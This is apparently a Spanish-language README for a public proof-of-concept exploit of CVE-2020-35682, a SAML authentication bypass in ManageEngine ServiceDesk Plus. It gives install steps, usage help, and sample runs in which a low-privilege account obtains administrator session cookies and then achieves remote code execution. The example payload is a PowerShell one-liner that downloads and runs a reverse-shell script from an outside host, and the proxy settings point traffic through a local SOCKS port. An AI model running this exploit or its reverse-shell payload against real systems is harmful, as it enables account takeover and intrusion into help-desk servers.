CVE-2020-35682

SD-91948: CVE-2020-35682: Vulnerabilidad de omisión de autenticación durante el inicio de sesión SAML en ServiceDesk Plus. (Según lo descrito por ManageEngine). Si la instalación de ServiceDesk Plus (<11134) tiene habilitado el inicio de sesión SAML y tienes credenciales de un usuario con privilegios bajos, puedes escalar a administrador y obtener RCE.

Decidí publicar este POC ya que no hay ningún exploit público ni mucha descripción disponible para explotar dicho error. El código está bastante desordenado pero funciona.

Instalación

git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py

Uso

┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]

CVE-2020-35682 : Vulnerabilidad de omisión de autenticación durante el inicio de sesión SAML en ServiceDesk Plus

argumentos opcionales:
  -h, --help            muestra este mensaje de ayuda y sale
  -x PAYLOAD, --payload PAYLOAD
                        Payload a ejecutar en el objetivo, ej: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
                        -usebasicparsing)"
  -a ADMINUSERNAME, --adminusername ADMINUSERNAME
                        Nombre de usuario administrador, por defecto: administrator

argumentos requeridos con nombre:
  -u URL, --url URL     URL de instalación de ServiceDesk Plus, ej. https://tenet.local/sdp
  -e EMAIL, --email EMAIL
                        Correo electrónico del usuario para inicio de sesión SAML, ej: [email protected]
  -p PASSWORD, --password PASSWORD
                        Contraseña del usuario para inicio de sesión SAML
  -d DOMAIN, --domain DOMAIN
                        Dominio, ej: TENET

Obtener cookie de administrador

┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Sesión creada como administrador.
[+] Usa las siguientes cookies para iniciar sesión como administrador
	=[NOMBRE DE COOKIE]=                =[VALOR DE COOKIE]=              
	JSESSIONIDSSO                  E1D80C738E12085360A789109D43A233
	PORTALID                       1                             
	SDPSESSIONID                   918B7C63186055F72EAD2DEAC34B4CA9

Ejecutar comando en el objetivo

┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Sesión creada como administrador.
[+] Usa las siguientes cookies para iniciar sesión como administrador
	=[NOMBRE DE COOKIE]=                =[VALOR DE COOKIE]=              
	JSESSIONIDSSO                  2316433DF39DFFE8ACD4E1DDD759D259
	PORTALID                       1                             
	SDPSESSIONID                   666788540DB6329CB7E59E1E96FF30EB
[+] Disparador personalizado ADQRYN11WA6KEXIQ creado
[+] Solicitud creada para ejecutar acción personalizada ADQRYN11WA6KEXIQ
[+] Ejecutado "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" en "https://tenet.local/sdp"
[+] Solicitud ADQRYN11WA6KEXIQ eliminada
[+] Acción personalizada ADQRYN11WA6KEXIQ eliminada

Usar con proxy

Los proxies se pueden definir en la línea 9 de exploit.py en el siguiente formato

proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}

O puedes configurar el proxy como variable de entorno si no deseas editar el código fuente

export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"

Asegúrate de desactivar estas variables después de ejecutar el exploit.

unset HTTP_PROXY HTTPS_PROXY